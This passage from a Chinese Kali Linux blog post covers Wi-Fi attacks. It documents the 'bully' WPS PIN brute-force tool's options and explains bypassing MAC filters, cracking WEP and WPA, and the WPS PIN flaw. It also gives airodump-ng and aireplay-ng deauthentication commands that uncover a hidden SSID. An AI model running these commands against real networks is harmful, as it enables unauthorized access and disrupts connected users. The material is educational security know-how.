  -R, --radiotap         : Assume radiotap headers are present [Auto]
  -W, --windows7         : Masquerade as a Windows 7 registrar   [No]
  -Z, --suppress         : Suppress packet throttling algorithm  [No]
  -V, --version          : Print version info and exit
  -h, --help             : Display this help information
</code></pre> 
  <h5>参数详细介绍</h5> 
  <pre><code>  -c, --channel N[,N...]

	Channel number, or comma separated list of channels to hop on. Some AP's will switch
	channels periodically. This option allows bully to reacquire an AP and continue an attack
	without intervention. Note that using channel hopping will typically slow an attack,
	especially when the AP's signal is weak, because time is spent scanning channels instead
	of testing pins. If no channel is provided, bully will hop on all channels.

  -i, --index N

	This is the index of the starting pin number in the randomized pin file. This option is
	not valid when running bully in sequential pin search mode.  This is typically handled
	for you automatically, i.e. an interrupted session will resume after the last pin that
	was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are
	given, zeroes are padded on the left.

  -l, --lockwait N

	Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so
	the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout
	period for a total of 301 seconds.

  -o, --output file

	By default, messages are printed to the standard output. Use this option to send output 
	to the specified file instead.

  -p, --pin N

	This is the starting pin number. Use of this option results in a sequential pin search
	starting at the given pin. This is typically handled for you automatically, i.e. an
	interrupted session will resume after the last pin that was successfully tested. Note
	that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on
	the left.

  -s, --source macaddr

	The source MAC address to embed in packets sent to the AP. Not all wireless cards can be
	used to spoof the source MAC address like this, but the option is provided for chipsets
	that allow it. When not provided, the wireless interface is probed to retrieve the MAC.

  -v, --verbosity N

	Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level
	3 displays the most information, and is best used to determine exactly what is happening
	during a session.

  -w, --workdir path

	Working directory, where randomized pins and session files are stored. Session files are
	created in this directory based on the BSSID of the access point. Only one set of randomized
	pins is created, and is used for all sessions. If you want to regenerate the pin file, simply
	delete it from this directory; however incomplete runs that used the deleted file will not
	be restartable. The default directory is ~/.bully/

  -5, --5ghz

	Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested.

  -B, --bruteforce

	Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS
	specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from
	compliant software. Use of this option can result in a ten-fold increase in the time it
	takes to discover the second portion of the pin, and should only be used when necessary.

  -F, --force

	In certain scenarios bully will print a warning message and exit. This typically indicates that
	it is being used in a manner that is questionable for most users. Advanced users and developers
	can force continuance with this option.

  -S, --sequential

	By default, pins are randomized. This options allows pins to be tested sequentially.

  -T, --test

	Test mode. No packets are injected. Can be used to validate arguments, determine if an
	access point is visible and has WPS enabled, generate a randomized pin file, or create a
	session file for the access point.

  -d, --pixiewps
  
            The -d option performs an offline attack, Pixie Dust (pixiewps),
	by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey.
	pixiewps will then try to attack Ralink, Broadcom and Realtek chipsets.

  -g, --genpin N
  
            This is a pin generator for either [1] D-Link or [2] Belkin
	routers which uses a known vulnerability names "pingen attack".

  -a, --acktime N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -r, --retries N

	How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to
	make a best effort to ensure the AP receives every packet we send, rather than have transactions
	fail and restart due to a missed packet.

  -m, --m13time N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -t, --timeout N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -1, --pin1delay M[,N]

	Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points
	get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial
	things back a bit. This is the delay period to use during the first half of the pin.

  -2, --pin2delay M[,N]

	Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points
	handle transactions through M4 easily, only to fall down on too many successive M6 messages.
	This is the delay period to use during the second half of the pin.
	
  -A, --noacks

	Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is
	receiving packets even though bully can't see acknowledgements. You might need this for a USB
	wifi adapter that processes acknowledgements and drops them before libpcap ever sees them.

  -C, --nocheck

	Turn off frame check sequence processing. We can improve performance somewhat by making the
	dubious assumption that all packets we receive are valid. See also --nofcs below.

  -D, --detectlock

	Certain access points do not indicate that they have locked WPS in their beacon IE tags, but
	summarily ignore all WPS transactions for a period of time. With this option, we can detect the
	condition and sleep for --lockdelay seconds before resuming. In the interests of remaining
	undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages.

  -E, --eapfail

	Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this.

  -L, --lockignore

	Ignore WPS lock conditions reported in beacon information elements (don't sleep).

  -M, --m57nack

	Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead
	drop the transaction. When using this option you will probably want to increase the --timeout 
	value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message.

  -N, --nofcs

	Some wireless hardware will have done the work of checking and stripping the FCS from packets
	already. Bully usually detects this and adjusts accordingly, but the option is here if you need
	to force it.

  -P, --probe

	Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send
	directed probe requests and use the resulting probe responses instead. Requires --essid.

  -Q, --wpsinfo

	Gather WPS info by using probe request(s) against a target.
	May reveal chipset manufacturer, WPS version and other geeky stats.

  -R, --radiotap

	Assume radiotap headers are present in received packets. This is useful in cases where presence
	of radiotap headers is incorrectly reported or detected.

  -Z, --suppress

	Suppress automatic timimg algorithm and instead use default timings for received packets. NOT
	RECOMMENDED.

  -W, --windows7

	Masquerade as a Windows 7 registrar.

  -V, --version

	Print version information to standard output and exit.

  -h, --help

	Display onscreen help.

</code></pre> 
  <h4>原理分析</h4> 
  <h5>MAC地址绑定攻击</h5> 
  <p>管理员误以为MAC绑定是一种安全机制,能够限制可以关联的客户端MAC地址。<br> 准备AP:<br> 1、AP基本配置<br> 2、Open认证<br> 3、开启无线过滤<br> 修改MAC地址绕过过滤:<br> 别人做了白名单mac绑定,这样的话,侦听这个BSSID,查看哪一个STA的MAC已经连上,复制这个已经连上的STA的MAC,把这个MAC地址复制到自己的无线网卡的MAC上。</p> 
  <pre><code>ifconfig wlan0 down
macchanger -m 接MAC地址 接网卡
ifconfig wlan0 up
</code></pre> 
  <p>再去连接,就可以连接上了。——>双方存在的话会丢包,信号不好(除非只有一个存在)</p> 
  <h5>WEP密码破解原理</h5> 
  <h6>WEP共享密钥破解</h6> 
  <p>1、IV并非完全随机<br> 2、每224个包可能出现一次IV重用<br> 3、收集大量IV之后找出相同IV及其对应密文,分析得出共享密码<br> ARP回包中包含IV<br> 只要在IV足够多的情况下,任何复杂程度的WEP密码都可以被破解(IV量破解和暴力破解)</p> 
  <h6>FAKE AUTHENTICATION</h6> 
  <p>伪造认证,以便与AP进行正常通信</p> 
  <h6>ARP重放</h6> 
  <p>侦听正常的ARP包并重放给AP<br> AP回包中包含大量弱IV——>重复出现</p> 
  <h5>WPA攻击</h5> 
  <h6>DEAUTHENTICATION</h6> 
  <p>强制客户端与AP断开关联<br> 重连生成ARP请求,AP回包包含IV<br> WPA重连过程,过程抓取4步握手过程,保存到本地cap文件中。<br> 无客户端情况下此攻击无效<br> 暴力破解条件:</p> 
  <pre><code>1、CPU资源
2、时间
3、字典质量:
	网上共享的字典
	泄露密码(an Internet)
	地区电话号码段
	Crunch生成字典
	kali中自带的字典 ——>有些密码不符合要求,会自动过滤
</code></pre> 
  <h5>WPS攻击</h5> 
  <ul> 
   <li>WPS是WiFi联盟2006年开发的一项技术<br> 通过PIN码来简化无线接入的操作,无需记住PSK<br> 路由器和网卡各按一个按钮就能接入无线<br> PIN码是分为前后各4位的2段共8位数字</li> 
   <li>安全漏洞<br> 2011年被发现安全涉及漏洞<br> 接入发起方可以根据路由器的返回信息判断前4位是否正确<br> 而PIN码的后4位只有1000种定义的组合(最后一位是checksum)<br> 所以全部穷举破解只需要11000次尝试<br> PSK:218340105584896种可能<br> 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制<br> //都要支持WPS功能,初衷是:物理连接,物理确认(通过按钮 )。<br> //AP要是支持WPS的话,只要尝试最多11000次找出PIN码,就会被破解。<br> ——>因为有限制,所以设置攻击方式、次数等</li> 
   <li>用计算器直接算出PIN<br> C83A35、00B00C——>很少见<br> //它直接找出PIN码,最多11000次;找出后计算出key,肯定能算出,不像WPA要字典。</li> 
  </ul> 
  <h5>小实验</h5> 
  <p>隐藏SSID防止破解有用么?<br> 隐藏SSID就是把你wifi的AP隐藏起来,不让别人搜索到。请注意,这样的话,在连接wifi时就要手动输入AP名。<br> <img src="http://img.e-com-net.com/image/info8/bae62dbf302041429c6dbd2643e0704e.jpg" alt="在这里插入图片描述" width="650" height="18"><br> 只看到了 length 12,没有ap名。</p> 
  <pre><code>airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 wlan0mon
aireplay-ng -0 30 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon
</code></pre> 
  <p>破解密码的方法不变;使用上面两个命令就可以轻松得到ap名。</p> 
  <p>事实证明,隐藏SSID并不管啥事;其实设置一个复杂的密码比隐藏SSID要管用的多。</p> 
  <p>本文同步更新至个人博客:罗小黑零食铺<br> 如果个人博客打不开就是维护升级中~</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1288228802018717696"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(kali,linux)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950227023859347456.htm"
                           title="Linux系统配置(应用程序)" target="_blank">Linux系统配置(应用程序)</a>
                        <span class="text-muted">1风天云月</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F/1.htm">应用程序</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85/1.htm">编译安装</a><a class="tag" taget="_blank" href="/search/rpm/1.htm">rpm</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a>
                        <div>目录前言一、应用程序概述1、命令与程序的关系2、程序的组成3、软件包封装类型二、RPM1、RPM概述2、RPM用法三、编译安装1、解包2、配置3、编译4、安装5、启用httpd服务结语前言在Linux中的应用程序被视为将软件包安装到系统中后产生的各种文档,其中包括可执行文件、配置文件、用户手册等内容,这些文档被组织为一个有机的整体,为用户提供特定的功能,因此对于“安装软件包”与“安装应用程序”这两</div>
                    </li>
                    <li><a href="/article/1950219166367674368.htm"
                           title="包含日志获取webshell" target="_blank">包含日志获取webshell</a>
                        <span class="text-muted">陈望_ning</span>

                        <div>日志文件关闭:Apache目录下的httpd.conf文件#ErrorLog"logs/error.log"#CustomLog"logs/access.log"common加#号为注释不产生日志文件如果去掉#将会在Apache/logs/目录下产生日志文件linux:access_logerror_logwindows:access.logerror.logaccess_log每一行记录了一次网</div>
                    </li>
                    <li><a href="/article/1950216926445760512.htm"
                           title="Matrix-Breakout 2 Morpheus靶场解题过程" target="_blank">Matrix-Breakout 2 Morpheus靶场解题过程</a>
                        <span class="text-muted"></span>

                        <div>信息收集目标探测靶机目标很明显就是61.139.2.141了扫描开放端口发现22、80、81访问端口主机访问80翻译一下,并没有发现什么审查源代码发现里面有一张图片,下载下来看看是否有图片的隐写wgethttp://61.139.2.141/trinity.jpegstegoveritas-itrinity.jpeg-o/home/kali/Desktop/11分解后发现什么都没有,里面的keep</div>
                    </li>
                    <li><a href="/article/1950213145742077952.htm"
                           title="02-Breakout靶机攻略" target="_blank">02-Breakout靶机攻略</a>
                        <span class="text-muted">ZLlllllll0</span>
<a class="tag" taget="_blank" href="/search/02-Breakout%E9%9D%B6%E6%9C%BA/1.htm">02-Breakout靶机</a>
                        <div>第一步搭建靶机下载地址:https://download.vulnhub.com/empire/02-Breakout.zip下载好了之后直接用VM打开然后右击虚拟机,把网络连接改成nat模式第二步,信息收集然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址nmap192.168.109.1/24扫</div>
                    </li>
                    <li><a href="/article/1950209621381672960.htm"
                           title="Android 应用权限管理详解" target="_blank">Android 应用权限管理详解</a>
                        <span class="text-muted"></span>

                        <div>文章目录1.权限类型2.权限请求机制3.权限组和分级4.权限管理的演进5.权限监控和SELinux强制访问控制6.应用权限审核和GooglePlayProtect7.开发者最佳实践8.用户权限管理9.Android应用沙箱模型10.ScopedStorage(分区存储)11.背景位置权限(BackgroundLocationAccess)12.权限回收和自动清理13.权限请求的用户体验设计14.G</div>
                    </li>
                    <li><a href="/article/1950202054706262016.htm"
                           title="centos7安装配置 Anaconda3" target="_blank">centos7安装配置 Anaconda3</a>
                        <span class="text-muted"></span>

                        <div>Anaconda是一个用于科学计算的Python发行版,Anaconda于Python,相当于centos于linux。下载[root@testsrc]#mwgethttps://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-5.2.0-Linux-x86_64.shBegintodownload:Anaconda3-5.2.0-L</div>
                    </li>
                    <li><a href="/article/1950175199089455104.htm"
                           title="PDF转Markdown - Python 实现方案与代码" target="_blank">PDF转Markdown - Python 实现方案与代码</a>
                        <span class="text-muted">Eiceblue</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/PDF/1.htm">PDF</a><a class="tag" taget="_blank" href="/search/pdf/1.htm">pdf</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/vscode/1.htm">vscode</a>
                        <div>PDF作为广泛使用的文档格式,转换为轻量级标记语言Markdown后,可无缝集成到技术文档、博客平台和版本控制系统中,提高内容的可编辑性和可访问性。本文将详细介绍如何使用国产Spire.PDFforPython库将PDF文档转换为Markdown格式。技术优势:精准保留原始文档结构(段落/列表/表格)完整提取文本和图像内容无需Adobe依赖的纯Python实现支持Linux/Windows/mac</div>
                    </li>
                    <li><a href="/article/1950170537426743296.htm"
                           title="在Windows11上安装Linux操作系统的几种技术方案" target="_blank">在Windows11上安装Linux操作系统的几种技术方案</a>
                        <span class="text-muted">yuanpan</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>在Windows11上安装Linux主要有以下几种技术方案,每种方案适用于不同的需求场景:1.WindowsSubsystemforLinux(WSL)适用场景:开发、命令行工具、轻量级Linux环境支持发行版:Ubuntu、Debian、KaliLinux、Fedora等优点:轻量级:无需虚拟机,直接在Windows上运行Linux命令行环境。无缝集成:可访问Windows文件系统,支持VSCo</div>
                    </li>
                    <li><a href="/article/1950169523193704448.htm"
                           title="Claude Code 超详细完整指南(2025最新版)" target="_blank">Claude Code 超详细完整指南(2025最新版)</a>
                        <span class="text-muted">笙囧同学</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>终端AI编程助手|高频使用点+生态工具+完整命令参考+最新MCP配置目录快速开始(5分钟上手)详细安装指南系统要求Windows安装(WSL方案)macOS安装Linux安装安装验证配置与认证首次认证环境变量配置代理配置⚡基础命令详解启动命令会话管理文件操作Think模式完全指南MCP服务器配置详解MCP基础概念添加MCP服务器10个必备MCP服务器MCP故障排除记忆系统详解高级使用技巧成本控制策</div>
                    </li>
                    <li><a href="/article/1950166876634017792.htm"
                           title="如何在 Ubuntu 24.04 或 22.04 Linux 上安装和运行 Redis 服务器" target="_blank">如何在 Ubuntu 24.04 或 22.04 Linux 上安装和运行 Redis 服务器</a>
                        <span class="text-muted">山岚的运维笔记</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4%E5%8F%8A%E4%BD%BF%E7%94%A8/1.htm">运维及使用</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>Redis(RemoteDictionaryServer,远程字典服务器)是一种内存数据结构存储,通常用作NoSQL数据库、缓存和消息代理。它是开源的,因此用户可以免费安装,无需支付任何费用。Redis旨在为需要快速数据访问和低延迟的应用程序提供速度和效率。Redis支持多种数据类型,包括字符串(Strings)、列表(Lists)、集合(Sets)、哈希(Hashes)、有序集合(SortedS</div>
                    </li>
                    <li><a href="/article/1950163093577330688.htm"
                           title="Linux中Samba服务器安装与配置文件" target="_blank">Linux中Samba服务器安装与配置文件</a>
                        <span class="text-muted">長樂.-</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>Samba简述27zkqsamba是一个基于TCP/IP协议的开源软件套件,可以在Linux、Windows、macOS等操作系统上运行。它允许不同操作系统的计算机之间实现文件和打印机共享。samba提供了一个服务,使得Windows操作系统可以像访问本地文件一样访问Linux、Mac等操作系统上的共享文件。实现跨平台的文件共享,提高办公环境的效率和便利性。samba也支持Windows网络邻居协</div>
                    </li>
                    <li><a href="/article/1950152629841620992.htm"
                           title="ubuntu qt环境下出现No suitable kits found解决方案" target="_blank">ubuntu qt环境下出现No suitable kits found解决方案</a>
                        <span class="text-muted"></span>

                        <div>1.清理QtCreator缓存QtCreator会缓存项目配置、索引等数据,可能导致某些异常。清理方法:(1)删除QtCreator配置目录bashrm-rf~/.config/QtProject/(Ubuntu/Linux)或Windows:cmdrmdir/s/q"%APPDATA%\QtProject"(2)清除QtCreator的编译缓存bashrm-rf~/.cache/QtProjec</div>
                    </li>
                    <li><a href="/article/1950152503563710464.htm"
                           title="如何在 Ubuntu 24.04 或 22.04 Linux 上安装和使用 NoMachine" target="_blank">如何在 Ubuntu 24.04 或 22.04 Linux 上安装和使用 NoMachine</a>
                        <span class="text-muted">山岚的运维笔记</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4%E5%8F%8A%E4%BD%BF%E7%94%A8/1.htm">运维及使用</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/nomachine/1.htm">nomachine</a><a class="tag" taget="_blank" href="/search/%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/1.htm">远程连接</a>
                        <div>NoMachine是一款适用于Linux(Ubuntu)及其他支持的操作系统的远程桌面应用程序,允许用户通过本地或远程系统从世界任何地方控制计算机。它可以在低带宽连接下工作,被专业人士和家庭用户广泛使用。NoMachine的主要功能高性能远程访问跨平台兼容性易于使用,因为用户界面友好提供强大的加密协议,如SSH、SSL及其他安全标准支持远程文件传输和打印服务允许从远程计算机进行音频和视频流媒体传输</div>
                    </li>
                    <li><a href="/article/1950135356531732480.htm"
                           title="linux实战--日志管理" target="_blank">linux实战--日志管理</a>
                        <span class="text-muted"></span>

                        <div>简介日志文件重要的信息系统文件,及了许多重要的系统事件,包括用户的登录信息,系统的启动信息,系统的安全信息,邮寄相关信息,各种服务相关的信息。日志对安全也很重要。每天记录系统发生的各种事情,通过日志检查错误发生的原因或受到攻击时攻击者留下的痕迹。总的来说,日志是记录重大事件的文件。处理日志的工具rsyslog系统日志管理专职管理日志的工具,它产生各种信息文件,主要存放在/var/loglogrot</div>
                    </li>
                    <li><a href="/article/1950127794931429376.htm"
                           title="redis反弹shell时kali无法接收回弹的解决方法" target="_blank">redis反弹shell时kali无法接收回弹的解决方法</a>
                        <span class="text-muted">显哥无敌</span>
<a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a><a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a>
                        <div>无法接受回谈大概率是bash命令写的不对,那个crontab中间的星号个数是有意义的,不是随便加的,下面贴一下crontab的基本用法https://www.cnblogs.com/zhoading/p/11572630.html{minute}{hour}{day-of-month}{month}{day-of-week}{full-path-to-shell-script}如果是要cronta</div>
                    </li>
                    <li><a href="/article/1950114557917720576.htm"
                           title="Windows系统第一次运行C语言程序,环境配置,软件安装等遇到的坑及解决方法" target="_blank">Windows系统第一次运行C语言程序,环境配置,软件安装等遇到的坑及解决方法</a>
                        <span class="text-muted">灬爱码士灬</span>
<a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>明确需要编辑器和编译器,并选择自己要用什么(我选的编辑器是VSCode:VisualStudioCode;编译器是gcc)下载VSCode并配置环境变量(这里没啥问题),安装C/C++的拓展安装Cygwin,用来在Windows操作系统上模拟Unix/Linux环境(Cygwin官网:https://www.cygwin.com/。)安装过程中镜像可以选择https://mirrors.aliyu</div>
                    </li>
                    <li><a href="/article/1950110777142734848.htm"
                           title="一篇教你学会Git" target="_blank">一篇教你学会Git</a>
                        <span class="text-muted">编程界的彭于晏qaq</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/GIT/1.htm">GIT</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a>
                        <div>从安装到高级使用(2025最新版)引言:为什么Git是开发者必备技能Git(GlobalInformationTracker)作为最流行的分布式版本控制系统,由Linux之父LinusTorvalds于2005年创建,现已成为软件开发的基础设施。与传统集中式版本控制系统(如SVN)相比,Git具有三大核心优势:分布式架构:每个开发者本地都有完整仓库副本,支持离线工作高效分支管理:创建和切换分支几乎</div>
                    </li>
                    <li><a href="/article/1950102202521546752.htm"
                           title="基本服务 FTP & SMB" target="_blank">基本服务 FTP & SMB</a>
                        <span class="text-muted">会飞的灰大狼</span>
<a class="tag" taget="_blank" href="/search/Centos7/1.htm">Centos7</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>基本服务FTP&SMB前言:FTP简称为文件传输协议前面说的他可以做到备份的功能那么它可以做到文件传输的过程smb我们简单来说共享文件夹‍NFSNFS(NetworkFileSystem,网络文件系统)是一种分布式文件系统协议,允许不同计算机之间通过网络共享文件和目录,使远程文件系统像本地文件系统一样被访问。它最初由SunMicrosystems开发,现在已成为UNIX/Linux系统中常用的网络</div>
                    </li>
                    <li><a href="/article/1950099173521027072.htm"
                           title="Ubuntu lamp" target="_blank">Ubuntu lamp</a>
                        <span class="text-muted">会飞的灰大狼</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a>
                        <div>Ubuntulamp前言在Ubuntu安装lamp架构我们了解到lamp是完整的架构我们前面了解到了集合了Linux系统apacheMySQL和PHP语言的完整架构我们前面说了Centos7中编译安装lamp那么我们去说一下在Ubuntu中安装‍‍安装apache2‍apt直接安装apache2apt-yinstallapache2‍启动apache2systemctlstartapache2#测</div>
                    </li>
                    <li><a href="/article/1950088840886677504.htm"
                           title="Linux文件权限与进程管理解析" target="_blank">Linux文件权限与进程管理解析</a>
                        <span class="text-muted">雨季西柚</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>控制对文件的访问1。什么是文件系统权限?它是如何工作的?如何查看文件的权限?答:文件系统权限就是规定谁能对文件/文件夹做什么(比如看、改、删)的规则。简单说,就是分"所有者、所属组、其他人"三类,给每类分配"读、写、执行"三种权限。操作时系统先看你属于哪类,再查有没有对应权限,有就允许,没有就拦着。查看方式:Linux/mac:终端输ls-l文件名,看开头的rwxr--r--这类字符(3个一组,对</div>
                    </li>
                    <li><a href="/article/1950060480118714368.htm"
                           title="【Linux内核模块】调试技巧" target="_blank">【Linux内核模块】调试技巧</a>
                        <span class="text-muted">byte轻骑兵</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8FLinux%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E5%AE%9E%E6%88%98/1.htm">嵌入式Linux驱动开发实战</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>内核模块开发最让人头疼的不是写代码,而是调试——代码编译通过了,加载后却要么没反应,要么直接让系统崩溃。这就像在黑屋子里修机器,看不见摸不着。其实内核调试有一套成熟的工具箱,掌握这些工具和技巧,就能给内核装个监控监控仪,让问题无所遁形。目录一、调试前的安全须知:别让系统崩溃二、最基础也最常用:printk打印日志2.1printk的基本用法2.2控制日志输出2.3printk的高级技巧三、内核Oo</div>
                    </li>
                    <li><a href="/article/1950059723604684800.htm"
                           title="linux网卡显示未知未托管,linux有线网络显示设备未托管" target="_blank">linux网卡显示未知未托管,linux有线网络显示设备未托管</a>
                        <span class="text-muted"></span>

                        <div>NetworkManagerNetworkManager是为了使网络配置尽可能简单而开发的网络管理软件包,如果使用DHCP,NetworkManager会替换默认的路由表、从DHCP服务器获取IP地址并根据情况设置域名服务器,NetworkManager的目标是使网络能够开箱即用。NetworkManager由两部分组成:一个以超级用户运行的守护进程(network-manager);一个前端管理</div>
                    </li>
                    <li><a href="/article/1950057957823672320.htm"
                           title="DNF 与 YUM 的区别详解:从 CentOS 7 到 CentOS 9 的演进" target="_blank">DNF 与 YUM 的区别详解:从 CentOS 7 到 CentOS 9 的演进</a>
                        <span class="text-muted"></span>

                        <div>DNF与YUM的区别详解:从CentOS7到CentOS9的演进标签:CentOS、YUM、DNF、Linux包管理、系统升级、兼容性适用版本:CentOS7、CentOS8、CentOS9一、背景介绍CentOS中使用的包管理工具是RedHat系列系统的重要组成部分。随着系统版本升级,包管理器从yum(CentOS7)逐渐过渡到dnf(CentOS8及之后版本)。二、YUM与DNF对比表对比项Y</div>
                    </li>
                    <li><a href="/article/1950053669370130432.htm"
                           title="Python简单练习3" target="_blank">Python简单练习3</a>
                        <span class="text-muted">第九条雀</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>1.技术面试题(1)解释Linux中的进程、线程和守护进程的概念,以及如何管理它们?答:1.进程:进程是程序的一次动态执行过程,是系统进行资源分配和调度的基本单位拥有独立的内存空间(代码段、数据段、堆栈等),进程间内存不共享包含进程PID、PPID、状态(运行、就绪、阻塞等)、优先级等属性进程间通信需通过管道、信号、共享内存等机制实现线程:线程是进程内的一个执行单元,是CPU调度的最小单位,共享所</div>
                    </li>
                    <li><a href="/article/1950036519733489664.htm"
                           title="docker-基础入门" target="_blank">docker-基础入门</a>
                        <span class="text-muted"></span>

                        <div>docker入门dockers安装1.首先如果系统中已经存在旧的Docker,则先卸载:yumremovedocker\docker-client\docker-client-latest\docker-common\docker-latest\docker-latest-logrotate\docker-logrotate\docker-engine\docker-selinux2.配置Dock</div>
                    </li>
                    <li><a href="/article/1950031354561359872.htm"
                           title="Linux系统之lvremove 命令详解" target="_blank">Linux系统之lvremove 命令详解</a>
                        <span class="text-muted">门前灯</span>
<a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/lvremove/1.htm">lvremove</a>
